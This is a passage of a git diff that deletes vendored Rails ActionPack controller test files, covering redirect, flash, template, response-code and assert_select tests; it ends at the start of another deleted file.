-#     assert_equal @response.body, 'request method: GET'
-#     post :raise_on_get
-#     assert_equal @response.body, 'request method: POST'
-#     get :raise_on_post
-#     assert_equal @response.body, 'request method: GET'
-#   end
-
-  # test the redirection to a named route
-  def test_assert_redirect_to_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.route_one 'route_one', :controller => 'action_pack_assertions', :action => 'nothing'
-        map.connect   ':controller/:action/:id'
-      end
-      set.install_helpers
-
-      process :redirect_to_named_route
-      assert_redirected_to 'http://test.host/route_one'
-      assert_redirected_to route_one_url
-    end
-  end
-
-  def test_assert_redirect_to_named_route_failure
-    with_routing do |set|
-      set.draw do |map|
-        map.route_one 'route_one', :controller => 'action_pack_assertions', :action => 'nothing', :id => 'one'
-        map.route_two 'route_two', :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
-        map.connect   ':controller/:action/:id'
-      end
-      process :redirect_to_named_route
-      assert_raise(ActiveSupport::TestCase::Assertion) do
-        assert_redirected_to 'http://test.host/route_two'
-      end
-      assert_raise(ActiveSupport::TestCase::Assertion) do
-        assert_redirected_to :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
-      end
-      assert_raise(ActiveSupport::TestCase::Assertion) do
-        assert_redirected_to route_two_url
-      end
-    end
-  end
-
-  def test_assert_redirect_to_nested_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.admin_inner_module 'admin/inner_module', :controller => 'admin/inner_module', :action => 'index'
-        map.connect            ':controller/:action/:id'
-      end
-      @controller = Admin::InnerModuleController.new
-      process :redirect_to_index
-      # redirection is <{"action"=>"index", "controller"=>"admin/admin/inner_module"}>
-      assert_redirected_to admin_inner_module_path
-    end
-  end
-
-  def test_assert_redirected_to_top_level_named_route_from_nested_controller
-    with_routing do |set|
-      set.draw do |map|
-        map.top_level '/action_pack_assertions/:id', :controller => 'action_pack_assertions', :action => 'index'
-        map.connect   ':controller/:action/:id'
-      end
-      @controller = Admin::InnerModuleController.new
-      process :redirect_to_top_level_named_route
-      # assert_redirected_to "http://test.host/action_pack_assertions/foo" would pass because of exact match early return
-      assert_redirected_to "/action_pack_assertions/foo"
-    end
-  end
-
-  def test_assert_redirected_to_top_level_named_route_with_same_controller_name_in_both_namespaces
-    with_routing do |set|
-      set.draw do |map|
-        # this controller exists in the admin namespace as well which is the only difference from previous test
-        map.top_level '/user/:id', :controller => 'user', :action => 'index'
-        map.connect   ':controller/:action/:id'
-      end
-      @controller = Admin::InnerModuleController.new
-      process :redirect_to_top_level_named_route
-      # assert_redirected_to top_level_url('foo') would pass because of exact match early return
-      assert_redirected_to top_level_path('foo')
-    end
-  end
-
-  # -- standard request/response object testing --------------------------------
-
-  # make sure that the template objects exist
-  def test_template_objects_alive
-    process :assign_this
-    assert !@response.has_template_object?('hi')
-    assert @response.has_template_object?('howdy')
-  end
-
-  # make sure we don't have template objects when we shouldn't
-  def test_template_object_missing
-    process :nothing
-    assert_nil @response.template_objects['howdy']
-  end
-
-  # check the empty flashing
-  def test_flash_me_naked
-    process :flash_me_naked
-    assert !@response.has_flash?
-    assert !@response.has_flash_with_contents?
-  end
-
-  # check if we have flash objects
-  def test_flash_haves
-    process :flash_me
-    assert @response.has_flash?
-    assert @response.has_flash_with_contents?
-    assert @response.has_flash_object?('hello')
-  end
-
-  # ensure we don't have flash objects
-  def test_flash_have_nots
-    process :nothing
-    assert !@response.has_flash?
-    assert !@response.has_flash_with_contents?
-    assert_nil @response.flash['hello']
-  end
-
-  # check if we were rendered by a file-based template?
-  def test_rendered_action
-    process :nothing
-    assert_nil @response.rendered[:template]
-
-    process :hello_world
-    assert @response.rendered[:template]
-    assert 'hello_world', @response.rendered[:template].to_s
-  end
-  
-  def test_assert_template_with_partial
-    get :partial
-    assert_template :partial => '_partial'
-  end
-  
-  def test_assert_template_with_nil
-    get :nothing
-    assert_template nil
-  end
-  
-  def test_assert_template_with_string
-    get :hello_world
-    assert_template 'hello_world'    
-  end
-  
-  def test_assert_template_with_symbol
-    get :hello_world
-    assert_template :hello_world
-  end
-  
-  def test_assert_template_with_bad_argument
-    assert_raise(ArgumentError) { assert_template 1 }    
-  end
-
-  # check the redirection location
-  def test_redirection_location
-    process :redirect_internal
-    assert_equal 'http://test.host/nothing', @response.redirect_url
-
-    process :redirect_external
-    assert_equal 'http://www.rubyonrails.org', @response.redirect_url
-  end
-
-  def test_no_redirect_url
-    process :nothing
-    assert_nil @response.redirect_url
-  end
-
-
-  # check server errors
-  def test_server_error_response_code
-    process :response500
-    assert @response.server_error?
-
-    process :response599
-    assert @response.server_error?
-
-    process :response404
-    assert !@response.server_error?
-  end
-
-  # check a 404 response code
-  def test_missing_response_code
-    process :response404
-    assert @response.missing?
-  end
-
-  # check client errors
-  def test_client_error_response_code
-    process :response404
-    assert @response.client_error?
-  end
-
-  # check to see if our redirection matches a pattern
-  def test_redirect_url_match
-    process :redirect_external
-    assert @response.redirect?
-    assert @response.redirect_url_match?("rubyonrails")
-    assert @response.redirect_url_match?(/rubyonrails/)
-    assert !@response.redirect_url_match?("phpoffrails")
-    assert !@response.redirect_url_match?(/perloffrails/)
-  end
-
-  # check for a redirection
-  def test_redirection
-    process :redirect_internal
-    assert @response.redirect?
-
-    process :redirect_external
-    assert @response.redirect?
-
-    process :nothing
-    assert !@response.redirect?
-  end
-
-  # check a successful response code
-  def test_successful_response_code
-    process :nothing
-    assert @response.success?
-  end
-
-  # a basic check to make sure we have a TestResponse object
-  def test_has_response
-    process :nothing
-    assert_kind_of ActionController::TestResponse, @response
-  end
-
-  def test_render_based_on_parameters
-    process :render_based_on_parameters, "name" => "David"
-    assert_equal "Mr. David", @response.body
-  end
-
-
-  def test_assert_redirection_fails_with_incorrect_controller
-    process :redirect_to_controller
-    assert_raise(ActiveSupport::TestCase::Assertion) do
-      assert_redirected_to :controller => "action_pack_assertions", :action => "flash_me"
-    end
-  end
-
-  def test_assert_redirection_with_extra_controller_option
-    get :redirect_to_action
-    assert_redirected_to :controller => 'action_pack_assertions', :action => "flash_me", :id => 1, :params => { :panda => 'fun' }
-  end
-
-  def test_redirected_to_url_leading_slash
-    process :redirect_to_path
-    assert_redirected_to '/some/path'
-  end
-
-  def test_redirected_to_url_no_leadling_slash
-    process :redirect_to_path
-    assert_deprecated /leading/ do
-      assert_redirected_to 'some/path'
-    end
-  end
-
-  def test_redirected_to_url_full_url
-    process :redirect_to_path
-    assert_redirected_to 'http://test.host/some/path'
-  end
-
-  def test_assert_redirection_with_symbol
-    process :redirect_to_controller_with_symbol
-    assert_nothing_raised {
-      assert_redirected_to :controller => "elsewhere", :action => "flash_me"
-    }
-    process :redirect_to_controller_with_symbol
-    assert_nothing_raised {
-      assert_redirected_to :controller => :elsewhere, :action => :flash_me
-    }
-  end
-
-  def test_redirected_to_with_nested_controller
-    @controller = Admin::InnerModuleController.new
-    get :redirect_to_absolute_controller
-    assert_redirected_to :controller => '/content'
-
-    get :redirect_to_fellow_controller
-    assert_redirected_to :controller => 'admin/user'
-  end
-
-  def test_assert_valid
-    get :get_valid_record
-    assert_deprecated { assert_valid assigns('record') }
-  end
-
-  def test_assert_valid_failing
-    get :get_invalid_record
-
-    begin
-      assert_deprecated { assert_valid assigns('record') }
-      assert false
-    rescue ActiveSupport::TestCase::Assertion => e
-    end
-  end
-
-  def test_assert_response_uses_exception_message
-    @controller = AssertResponseWithUnexpectedErrorController.new
-    get :index
-    assert_response :success
-    flunk 'Expected non-success response'
-  rescue ActiveSupport::TestCase::Assertion => e
-    assert e.message.include?('FAIL')
-  end
-
-  def test_assert_response_failure_response_with_no_exception
-    @controller = AssertResponseWithUnexpectedErrorController.new
-    get :show
-    assert_response :success
-    flunk 'Expected non-success response'
-  rescue ActiveSupport::TestCase::Assertion
-    # success
-  rescue
-    flunk "assert_response failed to handle failure response with missing, but optional, exception."
-  end
-end
-
-class ActionPackHeaderTest < ActionController::TestCase
-  tests ActionPackAssertionsController
-
-  def test_rendering_xml_sets_content_type
-    process :hello_xml_world
-    assert_equal('application/xml; charset=utf-8', @response.headers['Content-Type'])
-  end
-
-  def test_rendering_xml_respects_content_type
-    @response.headers['type'] = 'application/pdf'
-    process :hello_xml_world
-    assert_equal('application/pdf; charset=utf-8', @response.headers['Content-Type'])
-  end
-
-  def test_render_text_with_custom_content_type
-    get :render_text_with_custom_content_type
-    assert_equal 'application/rss+xml; charset=utf-8', @response.headers['Content-Type']
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/addresses_render_test.rb b/vendor/rails/actionpack/test/controller/addresses_render_test.rb
deleted file mode 100644
index 556b0593..00000000
--- a/vendor/rails/actionpack/test/controller/addresses_render_test.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'abstract_unit'
-
-class Address
-  def Address.count(conditions = nil, join = nil)
-    nil
-  end
-
-  def Address.find_all(arg1, arg2, arg3, arg4)
-    []
-  end
-
-  def self.find(*args)
-    []
-  end
-end
-
-class AddressesTestController < ActionController::Base
-  def self.controller_name; "addresses"; end
-  def self.controller_path; "addresses"; end
-end
-
-class AddressesTest < ActionController::TestCase
-  tests AddressesTestController
-
-  def setup
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
-
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_list
-    get :list
-    assert_equal "We only need to get this far!", @response.body.chomp
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/assert_select_test.rb b/vendor/rails/actionpack/test/controller/assert_select_test.rb
deleted file mode 100644
index 58fcaa95..00000000
--- a/vendor/rails/actionpack/test/controller/assert_select_test.rb
+++ /dev/null
@@ -1,735 +0,0 @@
-# encoding: us-ascii
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-
-unless defined?(ActionMailer)
-  begin
-    $:.unshift("#{File.dirname(__FILE__)}/../../../actionmailer/lib")
-    require 'action_mailer'
-  rescue LoadError => e
-    raise unless e.message =~ /action_mailer/
-    require 'rubygems'
-    gem 'actionmailer'
-  end
-end
-
-ActionMailer::Base.template_root = FIXTURE_LOAD_PATH
-
-class AssertSelectTest < ActionController::TestCase
-  Assertion = ActiveSupport::TestCase::Assertion
-
-  class AssertSelectMailer < ActionMailer::Base
-    def test(html)
-      recipients "test <test@test.host>"
-      from "test@test.host"
-      subject "Test e-mail"
-      part :content_type=>"text/html", :body=>html
-    end
-  end
-
-  class AssertSelectController < ActionController::Base
-    def response_with=(content)
-      @content = content
-    end
-
-    def response_with(&block)
-      @update = block
-    end
-
-    def html()
-      render :text=>@content, :layout=>false, :content_type=>Mime::HTML
-      @content = nil
-    end
-
-    def rjs()
-      render :update do |page|
-        @update.call page
-      end
-      @update = nil
-    end
-
-    def xml()
-      render :text=>@content, :layout=>false, :content_type=>Mime::XML
-      @content = nil
-    end
-
-    def rescue_action(e)
-      raise e
-    end
-  end
-
-  tests AssertSelectController
-
-  def setup
-    ActionMailer::Base.delivery_method = :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-  end
-
-  def teardown
-    ActionMailer::Base.deliveries.clear
-  end
-
-  def assert_failure(message, &block)
-    e = assert_raise(Assertion, &block)
-    assert_match(message, e.message) if Regexp === message
-    assert_equal(message, e.message) if String === message
-  end
-
-  #
-  # Test assert select.
-  #
-
-  def test_assert_select
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_select "div", 2
-    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
-    assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
-  end
-
-  def test_equality_true_false
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_nothing_raised    { assert_select "div" }
-    assert_raise(Assertion) { assert_select "p" }
-    assert_nothing_raised    { assert_select "div", true }
-    assert_raise(Assertion) { assert_select "p", true }
-    assert_raise(Assertion) { assert_select "div", false }
-    assert_nothing_raised    { assert_select "p", false }
-  end
-
-  def test_equality_string_and_regexp
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_nothing_raised    { assert_select "div", "foo" }
-    assert_raise(Assertion) { assert_select "div", "bar" }
-    assert_nothing_raised    { assert_select "div", :text=>"foo" }
-    assert_raise(Assertion) { assert_select "div", :text=>"bar" }
-    assert_nothing_raised    { assert_select "div", /(foo|bar)/ }
-    assert_raise(Assertion) { assert_select "div", /foobar/ }
-    assert_nothing_raised    { assert_select "div", :text=>/(foo|bar)/ }
-    assert_raise(Assertion) { assert_select "div", :text=>/foobar/ }
-    assert_raise(Assertion) { assert_select "p", :text=>/foobar/ }
-  end
-
-  def test_equality_of_html
-    render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
-    text = "\"This is not a big problem,\" he said."
-    html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
-    assert_nothing_raised    { assert_select "p", text }
-    assert_raise(Assertion) { assert_select "p", html }
-    assert_nothing_raised    { assert_select "p", :html=>html }
-    assert_raise(Assertion) { assert_select "p", :html=>text }
-    # No stripping for pre.
-    render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
-    text = "\n\"This is not a big problem,\" he said.\n"
-    html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
-    assert_nothing_raised    { assert_select "pre", text }
-    assert_raise(Assertion) { assert_select "pre", html }
-    assert_nothing_raised    { assert_select "pre", :html=>html }
-    assert_raise(Assertion) { assert_select "pre", :html=>text }
-  end
-
-  def test_counts
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_nothing_raised               { assert_select "div", 2 }
-    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
-      assert_select "div", 3
-    end
-    assert_nothing_raised               { assert_select "div", 1..2 }
-    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
-      assert_select "div", 3..4
-    end
-    assert_nothing_raised               { assert_select "div", :count=>2 }
-    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
-      assert_select "div", :count=>3
-    end
-    assert_nothing_raised               { assert_select "div", :minimum=>1 }
-    assert_nothing_raised               { assert_select "div", :minimum=>2 }
-    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
-      assert_select "div", :minimum=>3
-    end
-    assert_nothing_raised               { assert_select "div", :maximum=>2 }
-    assert_nothing_raised               { assert_select "div", :maximum=>3 }
-    assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
-      assert_select "div", :maximum=>1
-    end
-    assert_nothing_raised               { assert_select "div", :minimum=>1, :maximum=>2 }
-    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
-      assert_select "div", :minimum=>3, :maximum=>4
-    end
-  end
-
-  def test_substitution_values
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_select "div#?", /\d+/ do |elements|
-      assert_equal 2, elements.size
-    end
-    assert_select "div" do
-      assert_select "div#?", /\d+/ do |elements|
-        assert_equal 2, elements.size
-        assert_select "#1"
-        assert_select "#2"
-      end
-    end
-  end
-
-  def test_nested_assert_select
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_select "div" do |elements|
-      assert_equal 2, elements.size
-      assert_select elements[0], "#1"
-      assert_select elements[1], "#2"
-    end
-    assert_select "div" do
-      assert_select "div" do |elements|
-        assert_equal 2, elements.size
-        # Testing in a group is one thing
-        assert_select "#1,#2"
-        # Testing individually is another.
-        assert_select "#1"
-        assert_select "#2"
-        assert_select "#3", false
-      end
-    end
-
-    assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
-      assert_select "div" do
-        assert_select "#4"
-      end
-    end
-  end
-
-  def test_assert_select_text_match
-    render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
-    assert_select "div" do
-      assert_nothing_raised    { assert_select "div", "foo" }
-      assert_nothing_raised    { assert_select "div", "bar" }
-      assert_nothing_raised    { assert_select "div", /\w*/ }
-      assert_nothing_raised    { assert_select "div", :text => /\w*/, :count=>2 }
-      assert_raise(Assertion)  { assert_select "div", :text=>"foo", :count=>2 }
-      assert_nothing_raised    { assert_select "div", :html=>"<span>bar</span>" }
-      assert_nothing_raised    { assert_select "div", :html=>"<span>bar</span>" }
-      assert_nothing_raised    { assert_select "div", :html=>/\w*/ }
-      assert_nothing_raised    { assert_select "div", :html=>/\w*/, :count=>2 }
-      assert_raise(Assertion)  { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
-    end
-  end
-
-  # With single result.
-  def test_assert_select_from_rjs_with_single_result
-    render_rjs do |page|
-      page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
-    end
-    assert_select "div" do |elements|
-      assert elements.size == 2
-      assert_select "#1"
-      assert_select "#2"
-    end
-    assert_select "div#?", /\d+/ do |elements|
-      assert_select "#1"
-      assert_select "#2"
-    end
-  end
-
-  # With multiple results.
-  def test_assert_select_from_rjs_with_multiple_results
-    render_rjs do |page|
-      page.replace_html "test", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-    end
-    assert_select "div" do |elements|
-      assert elements.size == 2
-      assert_select "#1"
-      assert_select "#2"
-    end
-  end
-
-  def test_assert_select_rjs_for_positioned_insert_should_fail_when_mixing_arguments
-    render_rjs do |page|
-      page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
-      page.insert_html :bottom, "test2", "<div id=\"2\">foo</div>"
-    end
-    assert_raise(Assertion) {assert_select_rjs :insert, :top, "test2"}
-  end
-
-  def test_elect_with_xml_namespace_attributes
-    render_html %Q{<link xlink:href="http://nowhere.com"></link>}
-    assert_nothing_raised { assert_select "link[xlink:href=http://nowhere.com]" }
-  end
-
-  #
-  # Test css_select.
-  #
-
-  def test_css_select
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_equal 2, css_select("div").size
-    assert_equal 0, css_select("p").size
-  end
-
-  def test_nested_css_select
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_select "div#?", /\d+/ do |elements|
-      assert_equal 1, css_select(elements[0], "div").size
-      assert_equal 1, css_select(elements[1], "div").size
-    end
-    assert_select "div" do
-      assert_equal 2, css_select("div").size
-      css_select("div").each do |element|
-        # Testing as a group is one thing
-        assert !css_select("#1,#2").empty?
-        # Testing individually is another
-        assert !css_select("#1").empty?
-        assert !css_select("#2").empty?
-      end
-    end
-  end
-
-  # With one result.
-  def test_css_select_from_rjs_with_single_result
-    render_rjs do |page|
-      page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
-    end
-    assert_equal 2, css_select("div").size
-    assert_equal 1, css_select("#1").size
-    assert_equal 1, css_select("#2").size
-  end
-
-  # With multiple results.
-  def test_css_select_from_rjs_with_multiple_results
-    render_rjs do |page|
-      page.replace_html "test", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-    end
-
-    assert_equal 2, css_select("div").size
-    assert_equal 1, css_select("#1").size
-    assert_equal 1, css_select("#2").size
-  end
-
-  #
-  # Test assert_select_rjs.
-  #
-
-  # Test that we can pick up all statements in the result.
-  def test_assert_select_rjs_picks_up_all_statements
-    render_rjs do |page|
-      page.replace "test", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
-    end
-
-    found = false
-    assert_select_rjs do
-      assert_select "#1"
-      assert_select "#2"
-      assert_select "#3"
-      found = true
-    end
-    assert found
-  end
-
-  # Test that we fail if there is nothing to pick.
-  def test_assert_select_rjs_fails_if_nothing_to_pick
-    render_rjs { }
-    assert_raise(Assertion) { assert_select_rjs }
-  end
-
-  def test_assert_select_rjs_with_unicode
-    # Test that non-ascii characters (which are converted into \uXXXX in RJS) are decoded correctly.
-    render_rjs do |page|
-      page.replace "test", "<div id=\"1\">\343\203\201\343\202\261\343\203\203\343\203\210</div>"
-    end
-    assert_select_rjs do
-      str = "#1"
-      assert_select str, :text => "\343\203\201\343\202\261\343\203\203\343\203\210"
-      assert_select str, "\343\203\201\343\202\261\343\203\203\343\203\210"
-      if str.respond_to?(:force_encoding)
-        str.force_encoding(Encoding::UTF_8)
-        assert_select str, /\343\203\201..\343\203\210/u
-        assert_raise(Assertion) { assert_select str, /\343\203\201.\343\203\210/u }
-      else
-        assert_select str, Regexp.new("\343\203\201..\343\203\210",0,'U')
-        assert_raise(Assertion) { assert_select str, Regexp.new("\343\203\201.\343\203\210",0,'U') }
-      end
-    end
-  end
-
-  def test_assert_select_rjs_with_id
-    # Test that we can pick up all statements in the result.
-    render_rjs do |page|
-      page.replace "test1", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
-    end
-    assert_select_rjs "test1" do
-      assert_select "div", 1
-      assert_select "#1"
-    end
-    assert_select_rjs "test2" do
-      assert_select "div", 1
-      assert_select "#2"
-    end
-    assert_select_rjs "test3" do
-      assert_select "div", 1
-      assert_select "#3"
-    end
-    assert_raise(Assertion) { assert_select_rjs "test4" }
-  end
-
-  def test_assert_select_rjs_for_replace
-    render_rjs do |page|
-      page.replace "test1", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
-    end
-    # Replace.
-    assert_select_rjs :replace do
-      assert_select "div", 1
-      assert_select "#1"
-    end
-    assert_select_rjs :replace, "test1" do
-      assert_select "div", 1
-      assert_select "#1"
-    end
-    assert_raise(Assertion) { assert_select_rjs :replace, "test2" }
-    # Replace HTML.
-    assert_select_rjs :replace_html do
-      assert_select "div", 1
-      assert_select "#2"
-    end
-    assert_select_rjs :replace_html, "test2" do
-      assert_select "div", 1
-      assert_select "#2"
-    end
-    assert_raise(Assertion) { assert_select_rjs :replace_html, "test1" }
-  end
-
-  def test_assert_select_rjs_for_chained_replace
-    render_rjs do |page|
-      page['test1'].replace "<div id=\"1\">foo</div>"
-      page['test2'].replace_html "<div id=\"2\">foo</div>"
-      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
-    end
-    # Replace.
-    assert_select_rjs :chained_replace do
-      assert_select "div", 1
-      assert_select "#1"
-    end
-    assert_select_rjs :chained_replace, "test1" do
-      assert_select "div", 1
-      assert_select "#1"
-    end
-    assert_raise(Assertion) { assert_select_rjs :chained_replace, "test2" }
-    # Replace HTML.
-    assert_select_rjs :chained_replace_html do
-      assert_select "div", 1
-      assert_select "#2"
-    end
-    assert_select_rjs :chained_replace_html, "test2" do
-      assert_select "div", 1
-      assert_select "#2"
-    end
-    assert_raise(Assertion) { assert_select_rjs :replace_html, "test1" }
-  end
-
-  # Simple remove
-  def test_assert_select_rjs_for_remove
-    render_rjs do |page|
-      page.remove "test1"
-    end
-
-    assert_select_rjs :remove, "test1"
-  end
-
-  def test_assert_select_rjs_for_remove_offers_useful_error_when_assertion_fails
-    render_rjs do |page|
-      page.remove "test_with_typo"
-    end
-
-    assert_select_rjs :remove, "test1"
-
-  rescue Assertion
-    assert_equal "No RJS statement that removes 'test1' was rendered.", $!.message
-  end
-
-  def test_assert_select_rjs_for_remove_ignores_block
-    render_rjs do |page|
-      page.remove "test1"
-    end
-
-    assert_nothing_raised do
-      assert_select_rjs :remove, "test1" do
-        assert_select "p"
-      end
-    end
-  end
-
-  # Simple show
-  def test_assert_select_rjs_for_show
-    render_rjs do |page|
-      page.show "test1"
-    end
-
-    assert_select_rjs :show, "test1"
-  end
-
-  def test_assert_select_rjs_for_show_offers_useful_error_when_assertion_fails
-    render_rjs do |page|
-      page.show "test_with_typo"
-    end
-
-    assert_select_rjs :show, "test1"
-
-  rescue Assertion
-    assert_equal "No RJS statement that shows 'test1' was rendered.", $!.message
-  end
-
-  def test_assert_select_rjs_for_show_ignores_block
-    render_rjs do |page|
-      page.show "test1"
-    end
-
-    assert_nothing_raised do
-      assert_select_rjs :show, "test1" do
-        assert_select "p"
-      end
-    end
-  end
-
-  # Simple hide
-  def test_assert_select_rjs_for_hide
-    render_rjs do |page|
-      page.hide "test1"
-    end
-
-    assert_select_rjs :hide, "test1"
-  end
-
-  def test_assert_select_rjs_for_hide_offers_useful_error_when_assertion_fails
-    render_rjs do |page|
-      page.hide "test_with_typo"
-    end
-
-    assert_select_rjs :hide, "test1"
-
-  rescue Assertion
-    assert_equal "No RJS statement that hides 'test1' was rendered.", $!.message
-  end
-
-  def test_assert_select_rjs_for_hide_ignores_block
-    render_rjs do |page|
-      page.hide "test1"
-    end
-
-    assert_nothing_raised do
-      assert_select_rjs :hide, "test1" do
-        assert_select "p"
-      end
-    end
-  end
-
-  # Simple toggle
-  def test_assert_select_rjs_for_toggle
-    render_rjs do |page|
-      page.toggle "test1"
-    end
-
-    assert_select_rjs :toggle, "test1"
-  end
-
-  def test_assert_select_rjs_for_toggle_offers_useful_error_when_assertion_fails
-    render_rjs do |page|
-      page.toggle "test_with_typo"
-    end
-
-    assert_select_rjs :toggle, "test1"
-
-  rescue Assertion
-    assert_equal "No RJS statement that toggles 'test1' was rendered.", $!.message
-  end
-
-  def test_assert_select_rjs_for_toggle_ignores_block
-    render_rjs do |page|
-      page.toggle "test1"
-    end
-
-    assert_nothing_raised do
-      assert_select_rjs :toggle, "test1" do
-        assert_select "p"
-      end
-    end
-  end
-
-  # Non-positioned insert.
-  def test_assert_select_rjs_for_nonpositioned_insert
-    render_rjs do |page|
-      page.replace "test1", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
-    end
-    assert_select_rjs :insert_html do
-      assert_select "div", 1
-      assert_select "#3"
-    end
-    assert_select_rjs :insert_html, "test3" do
-      assert_select "div", 1
-      assert_select "#3"
-    end
-    assert_raise(Assertion) { assert_select_rjs :insert_html, "test1" }
-  end
-
-  # Positioned insert.
-  def test_assert_select_rjs_for_positioned_insert
-    render_rjs do |page|
-      page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
-      page.insert_html :bottom, "test2", "<div id=\"2\">foo</div>"
-      page.insert_html :before, "test3", "<div id=\"3\">foo</div>"
-      page.insert_html :after, "test4", "<div id=\"4\">foo</div>"
-    end
-    assert_select_rjs :insert, :top do
-      assert_select "div", 1
-      assert_select "#1"
-    end
-    assert_select_rjs :insert, :bottom do
-      assert_select "div", 1
-      assert_select "#2"
-    end
-    assert_select_rjs :insert, :before do
-      assert_select "div", 1
-      assert_select "#3"
-    end
-    assert_select_rjs :insert, :after do
-      assert_select "div", 1
-      assert_select "#4"
-    end
-    assert_select_rjs :insert_html do
-      assert_select "div", 4
-    end
-  end
-
-  def test_assert_select_rjs_raise_errors
-    assert_raise(ArgumentError) { assert_select_rjs(:destroy) }
-    assert_raise(ArgumentError) { assert_select_rjs(:insert, :left) }
-  end
-
-  # Simple selection from a single result.
-  def test_nested_assert_select_rjs_with_single_result
-    render_rjs do |page|
-      page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
-    end
-
-    assert_select_rjs "test" do |elements|
-      assert_equal 2, elements.size
-      assert_select "#1"
-      assert_select "#2"
-    end
-  end
-
-  # Deal with two results.
-  def test_nested_assert_select_rjs_with_two_results
-    render_rjs do |page|
-      page.replace_html "test", "<div id=\"1\">foo</div>"
-      page.replace_html "test2", "<div id=\"2\">foo</div>"
-    end
-
-    assert_select_rjs "test" do |elements|
-      assert_equal 1, elements.size
-      assert_select "#1"
-    end
-
-    assert_select_rjs "test2" do |elements|
-      assert_equal 1, elements.size
-      assert_select "#2"
-    end
-  end
-
-  def test_feed_item_encoded
-    render_xml <<-EOF
-<rss version="2.0">
-  <channel>
-    <item>
-      <description>
-        <![CDATA[
-          <p>Test 1</p>
-        ]]>
-      </description>
-    </item>
-    <item>
-      <description>
-        <![CDATA[
-          <p>Test 2</p>
-        ]]>
-      </description>
-    </item>
-  </channel>
-</rss>
-EOF
-    assert_select "channel item description" do
-      # Test element regardless of wrapper.
-      assert_select_encoded do
-        assert_select "p", :count=>2, :text=>/Test/
-      end
-      # Test through encoded wrapper.
-      assert_select_encoded do
-        assert_select "encoded p", :count=>2, :text=>/Test/
-      end
-      # Use :root instead (recommended)
-      assert_select_encoded do
-        assert_select ":root p", :count=>2, :text=>/Test/
-      end
-      # Test individually.
-      assert_select "description" do |elements|
-        assert_select_encoded elements[0] do
-          assert_select "p", "Test 1"
-        end
-        assert_select_encoded elements[1] do
-          assert_select "p", "Test 2"
-        end
-      end
-    end
-
-    # Test that we only un-encode element itself.
-    assert_select "channel item" do
-      assert_select_encoded do
-        assert_select "p", 0
-      end
-    end
-  end
-
-  #
-  # Test assert_select_email
-  #
-
-  def test_assert_select_email
-    assert_raise(Assertion) { assert_select_email {} }
-    AssertSelectMailer.deliver_test "<div><p>foo</p><p>bar</p></div>"
-    assert_select_email do
-      assert_select "div:root" do
-        assert_select "p:first-child", "foo"
-        assert_select "p:last-child", "bar"
-      end
-    end
-  end
-
-  protected
-    def render_html(html)
-      @controller.response_with = html
-      get :html
-    end
-
-    def render_rjs(&block)
-      @controller.response_with &block
-      get :rjs
-    end
-
-    def render_xml(xml)
-      @controller.response_with = xml
-      get :xml
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/base_test.rb b/vendor/rails/actionpack/test/controller/base_test.rb
deleted file mode 100644
index 9523189f..00000000
--- a/vendor/rails/actionpack/test/controller/base_test.rb
+++ /dev/null
@@ -1,217 +0,0 @@
-require 'abstract_unit'
